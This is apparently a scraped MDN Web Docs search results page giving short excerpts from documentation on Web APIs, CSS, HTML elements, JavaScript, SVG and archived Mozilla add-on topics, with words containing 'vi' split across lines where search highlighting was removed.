...it may be specified using font-relative units (such as em or ex), absolute units (such as px or cm), or the vw unit, which lets you specify the width as a percentage of the
viewport width (1vw being 1% of the
viewport width).
... let image = document.queryselector("article img"); let break40 = document.getelementbyid("break40"); let break50 = document.getelementbyid("break50"); break40.addeventlistener("click", event => image.sizes = image.sizes.replace(/50em,/, "40em,")); break50.addeventlistener("click", event => image.sizes = image.sizes.replace(/40em,/, "50em,")); result this result may be
viewed in its own window here.
...And 7 more matches
HTMLImageElement - Web APIs
the htmlimageelement interface represents an html <img> element, pro
viding the properties and methods used to manipulate image elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...if this value is pro
vided, it must be one of the possible permitted values: sync to decode the image synchronously, async to decode it asynchronously, or auto to indicate no preference (which is the default).
...And 7 more matches
HTMLSlotElement.name - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps ha
ving its contents changed in the example.
... specifications specification status comment html li
ving standardthe definition of 'name' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
...And 7 more matches
History - Web APIs
the history interface allows manipulation of the browser session history, that is the pages
visited in the tab or frame that the current page is loaded in.
... scrollrestoration allows web applications to explicitly set default scroll restoration beha
vior on history na
vigation.
...this is a way to look at the state without ha
ving to wait for a popstate event.
...And 7 more matches
IDBFactory - Web APIs
for a full working example, see our to-do notifications app (
view example live.) // in the following line, you should include the prefixes of implementations you want to test.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbfactorychrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firef...
... full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support 15safari full support 7web
view android full support yes full support yes no support ?
...And 7 more matches
IntersectionObserver.IntersectionObserver() - Web APIs
syntax var observer = new intersectionobserver(callback[, options]); parameters callback a function which is called when the percentage of the target element is
visible crosses a threshold.
... the callback receives as input two parameters: entries an array of intersectionobserverentry objects, each representing one threshold which was crossed, either becoming more or less
visible than the percentage specified by that threshold.
...if options isn't specified, the observer uses the document's
viewport as the root, with no margin, and a 0% threshold (meaning that even a one-pixel change is enough to trigger a callback).
...And 7 more matches
IntersectionObserver - Web APIs
the intersectionobserver interface of the intersection observer api pro
vides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or with a top-level document's
viewport.
... the ancestor element or
viewport is referred to as the root.
... when an intersectionobserver is created, it's configured to watch for given ratios of
visibility within the root.
...And 7 more matches
KeyboardEvent: code values - Web APIs
the following tables show what code values are used for each native scancode or
virtual keycode on major platforms.
..."" 0x007d "intlyen" "intlyen" 0x007e "numpadcomma" "" 0x007f "unidentified" "" 0xe000 ~ 0xe007 "unidentified" "" 0xe008 "unidentified" "undo" 0xe009 "unidentified" "" 0xe00a "" "paste" 0xe00b ~ 0xe00f "" "" 0xe010 "mediatrackpre
vious" "mediatrackpre
vious" 0xe011 ~ 0xe016 "" "" 0xe017 "unidentified" "cut" 0xe018 "unidentified" "copy" 0xe019 "mediatracknext" "mediatracknext" 0xe01a, 0xe01b "unidentified" "" 0xe01c "numpadenter" "numpadenter" 0xe01d "controlright" "controlright" 0xe...
... "audiovolumedown" "volumedown" (was "volumedown" until chrome 50) 0xe02f "unidentified" "" 0xe030 "audiovolumeup" "volumeup" (was "volumeup" until chrome 50) 0xe031 "unidentified" "" 0xe032 "browserhome" "browserhome" 0xe033, 0xe034 "unidentified" "" 0xe035 "numpaddi
vide" "numpaddi
vide" 0xe036 "unidentified" "" 0xe037 "printscreen" "printscreen" 0xe038 "altright" "altright" 0xe039, 0xe03a "unidentified" "" 0xe03b "unidentified" "help" 0xe03c~ 0xe044 "unidentified" "" 0xe045 "numlock" "numlock" 0xe046 (ctrl + ...
...And 7 more matches
KeyboardEvent.initKeyEvent() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... syntax event.initkeyevent (type, bubbles, cancelable,
viewarg, ctrlkeyarg, altkeyarg, shiftkeyarg, metakeyarg, keycodearg, charcodearg) parameters type is a domstring representing the type of event.
...
viewarg specifies the uievent.
view; this value may be null.
...And 7 more matches
MediaMetadata - Web APIs
the mediametadata interface of the the media session api pro
vides allows a web page to pro
vide rich media metadata for display in a platform ui.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediametadata experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full sup...
... web
view android no support nochrome android full support 57firefox android ?
...And 7 more matches
Transcoding assets for Media Source Extensions - Web APIs
to install, you'll need to build/compile the application yourself from the pro
vided project files/source files, depending on your os and preferences.
... get these installed successfully before mo
ving to the next step.
... to check if the browser supports a particular container, you can pass a string of the mime type to the mediasource.istypesupported method: mediasource.istypesupported('audio/mp3'); // false mediasource.istypesupported('
video/mp4'); // true mediasource.istypesupported('
video/mp4; codecs="avc1.4d4028, mp4a.40.2"'); // true the string is the mime type of the container, optionally followed by a list of codecs.
...And 7 more matches
Payment processing concepts - Web APIs
payment method the instrument by which payment is submitted, such as a credit card or online payment ser
vice.
... payment method pro
vider an organization that pro
vides the technology needed to submit payments using a given payment method.
... for example, when using a credit card to pay, the credit card processing ser
vice is the payment method pro
vider.
...And 7 more matches
Payment Request API - Web APIs
the payment request api pro
vides a consistent user experience for both merchants and users.
... advantages of using the payment request api with "basic-card" (card-based payments): fast purchase experience: users enter their details once into the browser and are then ready to pay for goods and ser
vices on the web.
...a browser can also sync these "credentials" across de
vices, making it easy for users to jump from desktop to mobile and back again when buying things.
...And 7 more matches
PushEvent - Web APIs
this event is sent to the global scope of a ser
viceworker.
... examples the following example takes data from a pushevent and displays it on all of the ser
vice worker's clients.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushevent experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable ser
vice workers prefer...
...And 7 more matches
Resize Observer API - Web APIs
the resize observer api pro
vides a performant mechanism by which code can monitor an element for changes to its size, with notifications being delivered to the observer each time the size changes.
... concepts and usage there are a whole raft of use cases for responsive design techniques (and others besides) that respond to changes in an element's size, but pre
viously their implementations have often been hacky and/or brittle.
... for example, media queries / window.matchmedia are great for updating layouts at specific points when the
viewport changes sizes, but what if you want to change layout in response to a specific element's size changing, which isn't the outer container?
...And 7 more matches
SVGTransformList - Web APIs
note: starting in gecko 9.0,the svgtransformlist dom interface is now indexable and can be accessed like arrays interface over
view also implement none methods void clear() svgtransform initialize(in svgtransform newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(...
...if the inserted item is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...And 7 more matches
Screen.lockOrientation() - Web APIs
a screen is considered in its primary portrait mode if the de
vice is held in its normal position and that position is in portrait, or if the normal position of the de
vice is in landscape and the de
vice held turned by 90° clockwise.
... the normal position is de
vice dependant.
...a screen is considered in its secondary portrait mode if the de
vice is held 180° from its normal position and that position is in portrait, or if the normal position of the de
vice is in landscape and the de
vice held is turned by 90° anticlockwise.
...And 7 more matches
Storage API - Web APIs
the storage standard defines a common, shared storage system to be used by all apis and technologies that store content-accessible data for indi
vidual web sites.
... site storage—the data stored for a web site which is managed by the storage standard—includes: indexeddb databases cache api data ser
vice worker registrations web storage api data managed using window.localstorage history state information saved using history.pushstate() application caches notification data other kinds of site-accessible, site-specific data that may be maintained site storage units the site storage system described by the storage standard and interacted with using the storage api consists of a single site...
...it may be a less-
visited site, or one known to have lower data storage requirements.
...And 7 more matches
TextTrack.mode - Web APIs
safari additionally requires the default boolean attribute to be set to true when implementing your own
video player controls in order for the subtitles cues to be shown.
... showing the text track is currently enabled and is
visible.
... however, that means that if you wish to perform any actions invol
ving the track's cues while handling, for example, the load event—in order to process some aspect of the cues upon page load—and the track mode was initially disabled, you'll have to change the mode to either hidden or showing in order to trigger loading of the cues.
...And 7 more matches
Using Touch Events - Web APIs
however, de
vices with touch screens (especially portable de
vices) are mainstream and web applications can either directly process touch-based input by using touch events or the application can use interpreted mouse events for the application input.
... the touch interface represents a single contact point on a touch-sensitive de
vice.
...a touch point's properties include a unique identifier, the touch point's target element as well as the x and y coordinates of the touch point's position relative to the
viewport, page, and screen.
...And 7 more matches
Using textures in WebGL - Web APIs
« pre
viousnext » now that our sample program has a rotating 3d cube, let's map a texture onto it instead of ha
ving its faces be solid colors.
...this will allow non-power-of-two (npot) textures at the expense of mipmapping, uv wrapping, uv tiling, and your control over how the de
vice will handle your texture.
...gl.texparameteri(gl.texture_2d, gl.texture_wrap_t, gl.clamp_to_edge); again, with these parameters, compatible webgl de
vices will automatically accept any resolution for that texture (up to their maximum dimensions).
...And 7 more matches
WebXR application life cycle - Web APIs
in this guide, we'll get a birds-eye
view of what's involved in creating and dri
ving a webxr application, without di
ving down to the code level in detail.
... life cycle outline most applications using webxr will follow a similar overall design pattern: check to see if the user's de
vice and browser are both capable of presenting the xr experience you want to pro
vide.
... make sure the webxr api is available; if na
vigator.xr is undefined, you can assume the user's browser and/or de
vice doesn't support webxr.
...And 7 more matches
Using the Web Audio API - Web APIs
if you simply want to control playback of an audio track, the <audio> media element pro
vides a better, quicker solution than the web audio api.
... if you want to carry out more complex audio processing, as well as playback, the web audio api pro
vides much more power and control.
...depending on the use case, there's a myriad of options, but we'll pro
vide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.
...And 7 more matches
Web Bluetooth API - Web APIs
the web bluetooth api pro
vides the ability to connect and interact with bluetooth low energy peripherals.
... interfaces bluetooth returns a promise to a bluetoothde
vice object with the specified options.
... bluetoothadvertisingdata pro
vides advertising data about a particular bluetooth de
vice.
...And 7 more matches
XRPermissionDescriptor.requiredFeatures - Web APIs
the xrpermissiondescriptor dictionary's requiredfeatures property should be set prior to calling na
vigator.permissions.query() to a list of webxr features which must be supported for the app to work.
... xrboundedreferencespace local a tracking space whose native origin is located near the
viewer's position at the time the session was created.
... for de
vices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin stable relative to the en
vironment.
...And 7 more matches
ARIA live regions - Accessibility
while these changes are usually
visually apparent to users who can see the page, they may not be ob
vious to users of assistive technologies.
... aria live regions fill this gap and pro
vide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies.
... dropdown box updates useful onscreen information a website specializing in pro
viding information about planets pro
vides a dropdown box.
...And 7 more matches
Accessibility
accessibility (often abbre
viated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
...accessibility means developing content to be as accessible as possible no matter an indi
vidual's physical and cognitive abilities and no matter how they access the web.
... wai-aria basics following on from the pre
vious article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
...And 7 more matches
Box-shadow generator - CSS: Cascading Style Sheets
er"> <div class="group section"> <div id="layer_manager"> <div class="group section"> <div class="button" data-type="add"> </div> <div class="button" data-type="move-up"> </div> <div class="button" data-type="move-down"> </div> </div> <div id="stack_container"></div> </div> <div id="pre
view_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject" data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <div...
..."button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic='after' data-label=":after"></div> </div> <div id="pre
view"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div> </div> </div> </div> <div id="controls" class="group section"> <div class="wrap-left"> <div class="colorpicker category"> ...
...> <div class="info"> <div class="input" data-topic="r" data-title='r:' data-action="rgb"></div> <div class="input" data-topic="g" data-title='g:' data-action="rgb"></div> <div class="input" data-topic="b" data-title='b:' data-action="rgb"></div> </div> <div class="pre
view block"> <div id="output_color"> </div> </div> <div class="block info"> <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div> <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div> </div> </div> ...
...And 7 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
na
vigation a common pattern for na
vigation is to have a list of items displayed as a horizontal bar.
...you could also use flex-start to place the space at the end of the items, flex-end to place it before them, or center to centre the na
vigation items.
... space distributed within the items a different pattern for na
vigation would be to distribute the available space within the items themselves, rather than create space between them.
...And 7 more matches
OpenType font features guide - CSS: Cascading Style Sheets
these are all referred to as opentype features, and are made available to use on the web
via specific properties and a low-level control property — font-feature-settings.
... this article pro
vides you with all you need to know about using opentype font features in css.
...the issue with simply using font-feature-settings for everything is that every time you want to change one of the indi
vidual features, you have to redefine the entire string (similar to manipulating variable fonts with font-variation-settings).
...And 7 more matches
env() - CSS: Cascading Style Sheets
the env() css function can be used to insert the value of a user agent-defined en
vironment variable into your css, in a similar fashion to the var() function and custom properties.
... the difference is that, as well as being user-agent defined rather than user-defined, en
vironment variables are globally scoped to a document, whereas custom properties are scoped to the element(s) on which they are declared.
... to tell the browser to use the whole available space on the screen, and so enabling us to use the env() variables, we need to add a new
viewport meta value: <meta name="
viewport" content="
viewport-fit=cover" /> body { padding: env(safe-area-inset-top, 20px) env(safe-area-inset-right, 20px) env(safe-area-inset-bottom, 20px) env(safe-area-inset-left, 20px); } in addition, unlike custom properties, which cannot be used outside of declarations, the env() function can be used in place of any part of a property value, or any part of a descriptor (e.g.
...And 7 more matches
max-height - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'max-height' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmax-heightchrome full support 18edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the beha
vior of max-height with table undefined.
... firefox supports applying max-height to table elements.ie full support 7opera full support 7notes full support 7notes notes css 2.1 leaves the beha
vior of max-height with table undefined.
...And 7 more matches
Developer guides
these articles pro
vide how-to information to help make use of specific web technologies and apis.
... audio and
video delivery we can deliver audio and
video on the web in several ways, ranging from 'static' media files to adaptive live streams.
... audio and
video manipulation the beauty of the web is that you can combine technologies to create new forms.
...And 7 more matches
<dfn>: The Definition element - HTML: Hypertext Markup Language
usage notes there are some not-entirely-ob
vious aspects to using the <dfn> element.
...the element must still have text within it, but that text may be an abbre
viation (perhaps using <abbr>) or another form of the term.
...such links should be uses of the term, with the intent being that the reader can quickly na
vigate to the term's definition if they're not already aware of it, by clicking on the term's link.
...And 7 more matches
<input type="date"> - HTML: Hypertext Markup Language
only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is pro
vided) are valid.
... using date inputs date inputs sound convenient — they pro
vide an easy interface for choosing dates, and they normalize the data format sent to the server regardless of the user's locale.
... in this section, we'll look at basic and then more complex uses of <input type="date">, and offer ad
vice on mitigating the browser support issue later (see handling browser support).
...And 7 more matches
<input type="range"> - HTML: Hypertext Markup Language
the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
...only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is pro
vided) are valid.
...And 7 more matches
<input type="text"> - HTML: Hypertext Markup Language
the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
... placeholder the placeholder attribute is a string that pro
vides a brief hint to the user as to what kind of information is expected in the field.
...And 7 more matches
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmetaelement the type of metadata pro
vided by the meta element can be one of the following: if the name attribute is set, the meta element pro
vides document-level metadata, applying to the whole page.
... if the http-equiv attribute is set, the meta element is a pragma directive, pro
viding information equivalent to what can be given by a similarly-named http header.
... if the charset attribute is set, the meta element is a charset declaration, gi
ving the character encoding in which the document is encoded.
...And 7 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
the html <select> element represents a control that pro
vides a menu of options: the source for this interactive example is stored in a github repository.
... autocomplete a domstring pro
viding a hint for a user agent's autocomplete feature.
...when multiple is specified), this attribute represents the number of rows in the list that should be
visible at one time.
...And 7 more matches
tabindex - HTML: Hypertext Markup Language
the tabindex global attribute indicates that its element can be focused, and where it participates in sequential keyboard na
vigation (usually with the tab key, hence the name).
... it accepts an integer as a value, with different results depending on the integer's value: a negative value (usually tabindex="-1") means that the element is not reachable
via sequential keyboard na
vigation, but could be focused with javascript or
visually by clicking with the mouse.
... tabindex="0" means that the element should be focusable in sequential keyboard na
vigation, after any positive tabindex values and its order is defined by the document's source order.
...And 7 more matches
Working with objects - JavaScript
« pre
viousnext » javascript is designed on a simple object-based paradigm.
... objects over
view objects in javascript, just as in many other programming languages, can be compared to objects in real life.
...listing accessible properties only can easily be done by remo
ving duplicates in the array.
...And 7 more matches
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
numberingsystem the value pro
vided for this properties in the options argument, if present, or the value requested using the unicode extension key "nu" or filled in as a default.
... notation the value pro
vided for this property in the options argument, if present, or "standard filled in as a default.
... compactdisplay the value pro
vided for this property in the options argument, or "short" filled in as a default.
...And 7 more matches
Lazy loading - Web Performance
lazy loading can occur on different moments in the application, but it typically happens on some user interactions such as scrolling and na
vigation.
... over
view as the web has evolved, we have come to see huge increases in the number and size of assets sent to users.
... a practical example would be when, you land on the home page of an e-commerce site which has a link to a cart page/section and all its resources (js, css, images...) are downloaded only when the user na
vigates to that cart page.
...And 7 more matches
Optimizing startup performance - Web Performance
does it seem to lock up the de
vice or the user's browser while the app loads?
...this will prevent the app, browser, and/or de
vice from appearing to have locked up.
...a desktop application doesn't need to be written in an asynchronous fashion because usually the operating system handles that for you, or the app is the only thing that matters which is currently running, depending on the operating en
vironment.
...And 7 more matches
requiredFeatures - SVG: Scalable Vector Graphics
the requiredfeatures attribute takes a list of feature strings, with the indi
vidual strings separated by white space.
...this pro
vides a way to design svg that gracefully falls back when features aren't available.
...ments are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <circle>, <clippath>, <cursor>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg
viewbox="0 0 250 45" xmlns="http://www.w3.org/2000/svg"> <g> <rect fill="forestgreen" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures supported</text> </g> <g requiredfeatures=""> <rect fill="crimson" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <...
...And 7 more matches
transform - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g fill="grey" transform="rotate(-10 50 100) translate(-36 45.5) skewx(40) scale(1 0.5)"> <path id="heart" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </g> <use xlink:href="#heart" fill="none" stroke="red"/> </svg> note: as of svg2, transform is a presentation attribute, meaning it can be used as a css property.
...matrix(a,b,c,d,e,f) is equivalent to applying the transformation matrix:(acebdf001)\begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} which maps coordinates from a pre
vious coordinate system into a new coordinate system by the following matrix equalities:(xnewcoordsysynewcoordsys1)=(acebdf001)(xprevcoordsysyprevcoordsys1)=(axprevcoordsys+cyprevcoordsys+ebxprevcoordsys+dyprevcoordsys+f1) \begin{pmatrix} x_{\mathrm{newcoordsys}} \\ y_{\mathrm{newcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} \begin{pmatrix} x_{\mat...
...hrm{prevcoordsys}} \\ y_{\mathrm{prevcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{prevcoordsys}} + c y_{\mathrm{prevcoordsys}} + e \\ b x_{\mathrm{prevcoordsys}} + d y_{\mathrm{prevcoordsys}} + f \\ 1 \end{pmatrix} example html,body,svg { height:100% } <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="20" fill="green" /> <!-- in the following example we are applying the matrix: [a c e] [3 -1 30] [b d f] => [1 3 40] [0 0 1] [0 0 1] which transform the rectangle as such: top left corner: oldx=10 oldy=10 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 10 + 30 = 50 newy = b * oldx + d * oldy + f = 1 * 10 + 3 * 10 + 40 = 80 top right corner: oldx=40 oldy=10 newx = a * oldx + c * oldy + e ...
...And 7 more matches
Positions - SVG: Scalable Vector Graphics
« pre
viousnext » in this article, we examine how scalable vector graphics (svg) represents the positions and sizes of objects within a drawing context, including coordinate system and what a "pixel" measurement means in a scalable context.
... in the most basic case one pixel in an svg document maps to one pixel on the output de
vice (a.k.a.
...but svg wouldn't have the "scalable" in its name, if there weren't several possibilities to change this beha
viour.
...And 7 more matches
Introduction to using XPath in JavaScript - XPath
you should use this
virtually all of the time.
...this adapter works like the dom level 3 method lookupnamespaceuri on nodes in resol
ving the namespaceuri from a given prefix using the current information available in the node's hierarchy at the time lookupnamespaceuri is called.
... specifying the return type the returned variable xpathresult from document.evaluate can either be composed of indi
vidual nodes (simple types), or a collection of nodes (node-set types).
...And 7 more matches
context-menu - Archive of obsolete content
usage instead of manually adding items when particular contexts occur and then remo
ving them when those contexts go away, you bind items to contexts, and the adding and remo
ving is automatically handled for you.
...likewise, any items that were pre
viously in the menu but are not bound to the current context are automatically removed from the menu.
... for example, if your add-on needs to add a context menu item whenever the user
visits a certain page, don't create the item when that page loads, and don't remove it when the page unloads.
...And 6 more matches
core/namespace - Archive of obsolete content
pro
vides an api for creating namespaces for objects, which effectively may be used for creating fields that are not part of objects public api.
... let { ns } = require('sdk/core/namespace'); let anamespace = ns(); anamespace(publicapi).secret = secret; one namespace may be used with multiple objects: let { ns } = require('sdk/core/namespace'); let dom = ns(); function
view(element) { let
view = object.create(
view.prototype); dom(
view).element = element; // ....
... }
view.prototype.destroy = function destroy() { let { element } = dom(this); element.parentnode.removechild(element); // ...
...And 6 more matches
test/assert - Archive of obsolete content
message : string optional message to log, pro
viding extra information about the test.
... message : string optional message to log, pro
viding extra information about the test.
... message : string optional message to log, pro
viding extra information about the test.
...And 6 more matches
Bootstrapped extensions - Archive of obsolete content
all the application does is call into this script file; the extension is responsible for adding and remo
ving its user interface and handling any other setup and shutdown tasks it requires.
...when the extension's startup() function is called, it must manually inject its user interface and other beha
vior into the application.
... notes on modifying the application user interface chrome.manifest in bootstrapped add-ons you can use a chrome.manifest file in bootstrapped add-ons to: make your add-on's content available
via a chrome:// url (using the content, locale, and skin instructions in the manifest).
...And 6 more matches
User Notifications and Alerts - Archive of obsolete content
« pre
viousnext » it is often the case that extensions need to notify users about important events, often requiring some response.
... the alerts ser
vice this is a very good option when you want to alert users about events without requiring input from them.
...another advantage is that you use an xpcom ser
vice to do this (nsialertsser
vice), so you can easily trigger alerts from chrome and non-chrome code.
...And 6 more matches
Using content preferences - Archive of obsolete content
the content preferences ser
vice, implemented by nsicontentprefser
vice, offers functions for setting and retrie
ving preferences for specific sites or in the global preference space; global preferences are used whenever a site-specific preference isn't available.
...example: setting and retrie
ving preferences this example demonstrates how to save a preference and then retrieve its value.
... var iosvc = components.classes["@mozilla.org/network/io-ser
vice;1"] .getser
vice(components.interfaces.nsiioser
vice); var prefser
vice = components.classes["@mozilla.org/content-pref/ser
vice;1"] .getser
vice(components.interfaces.nsicontentprefser
vice); // create a uri object referencing the site to save a preference for var uri = iosvc.newuri("http://developer.mozilla.org/", null, null); // set the value of the "devmo.somesetting" preference to "foo".
...And 6 more matches
Creating a Microsummary - Archive of obsolete content
web pages can reference generators
via <link rel="microsummary"> elements in their <head> elements.
... in each step of re
vising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily.
... for example, if you use php scripts to generate pages on your site, you could write php code to output a microsummary when the
view=microsummary url parameter is present.
...And 6 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
bird's eye
view flow of control uriloader tries to find a content listener for the mime type in question.
... when this fails, uriloader asks an nsiexternalhelperappser
vice to handle the load.
... the nsexternalhelperappser
vice looks up the nsimimeinfo for the load and creates an nsihelperapplauncher to manage the load.
...And 6 more matches
JavaScript crypto - Archive of obsolete content
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... using the mozilla crypto object from javascript mozilla defines a special javascript object to allow web pages access to certain cryptographic-related ser
vices.
... these ser
vices are a balance between the functionality web pages need and the requirement to protect users from malicious web sites.
...And 6 more matches
Monitoring downloads - Archive of obsolete content
although it was possible to do so in pre
vious versions of firefox, it was pre
viously only possible for one observer to do so at a time.
... onload: function() { // initialization code this.initialized = true; this.strings = document.getelementbyid("downloadlogger-strings"); this.dlmgr = components.classes["@mozilla.org/download-manager;1"] .getser
vice(components.interfaces.nsidownloadmanager); this.dlmgr.addlistener(downloadlogger); // open the database, placing its file in the profile directory this.dbfile = components.classes["@mozilla.org/file/directory_ser
vice;1"] .getser
vice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); this.dbfile.append("downlo...
...adlogger.sqlite"); // get access to the storage ser
vice and open the database this.storageser
vice = components.classes["@mozilla.org/storage/ser
vice;1"] .getser
vice(components.interfaces.mozistorageser
vice); var dbconn = this.storageser
vice.opendatabase(this.dbfile); // now create the table; if it already exists, this fails, but we don't care!
...And 6 more matches
Frequently Asked Questions - Archive of obsolete content
mozilla will not be changing this beha
viour.
... why am i asked to install a plug-in to
view svg files?
... indi
viduals can choose to use a plugin to
view svg in mozilla on their own computers, but there is no way for svg content authors to make mozilla use a plugin when people
view the svg files on their website.
...And 6 more matches
Space Manager High Level Design - Archive of obsolete content
over
view the space manager and associated classes and structures are used by block and line layout to manage rectangular regions that are occupied and available, for correct handling of floated elements and the elements that flow around them.
...during reflow, the space manager stores the space taken up by floats (updatespacemanager in nsblockframe) and pro
vides information about the space available for other elements (getavailablespace in nsblockreflowstate).
... data model class/component diagram nsspacemanager: the central point of management of the space taken up by floats in a block nsbanddata: pro
vides information about the frames occupying a band of occupied or available space nsblockbanddata: a specialization of nsbanddata that is used by nsblockreflowstate to determine the available space, float impacts, and where floats are cleared.
...And 6 more matches
Table Layout Regression Tests - Archive of obsolete content
subject over
view changes in layout, parser and content code can have unintended side effects, also known as regressions.
... start the layout debugger
via mozilla -layoutdebug - p foo where foo is just another profile than your main profile.
... execute mozilla -layoutdebug - p foo >outputfile.txt execute the verify test make a note which tests have failed grep 'failed' outputfile.txt check how many tests have failed and analyze your results: if the regression tests have failed at the same place as the pre
vious diagnosed false positives => ignore try to figure out what the other regressions are: are they impro
ving the picture or are they regressions?
...And 6 more matches
Tamarin Build System Documentation - Archive of obsolete content
the next phase is started when all slaves have completed the pre
vious phase successfully.
... checkins (hg push) to http://hg.mozilla.org/tamarin-redux and sandbox requests will trigger a buildbot build when all build slaves are idle the next build begins before the build begins buildbot waits for 2 minutes of no checkin acti
vity the build system prioritizes tamarin-redux checkins over sandbox builds when several tamarin-redux checkins occur the newest change is built including all checkins since the last build each sandbox build occurs in the order they were submitted, the submitter may cancel a build.
... create a user repository, instructions are https://developer.mozilla.org/en/publishing_mercurial_clones go to the request a sandbox build page http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm enter the repository url, re
vision number, email address, and description.
...And 6 more matches
The life of an HTML HTTP request - Archive of obsolete content
the webshell then tells its documentloader to load (command "
view") the specified url.
... [note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsicontent
viewercontainer to the docloader.] (2) the document loader calls ns_openuri with the url to begin transfering the requested file.
...this factory is then told to create a nsicontent
viewer.
...And 6 more matches
Template Builder Interface - Archive of obsolete content
« pre
viousnext » when inserting an element into a xul document, the element is checked to see if it has a datasources attribute.
...the builder associated with an element is accessible
via the element's 'builder' property both for content builders and for tree builders.
...the builder is accessible to unpri
vileged code, so the rebuild and refresh methods may be called by remote code.
...And 6 more matches
Cross Package Overlays - Archive of obsolete content
« pre
viousnext » this section describes how to apply overlays to files that don't import them.
...in the examples in the pre
vious section, the overlays were imported by the window.
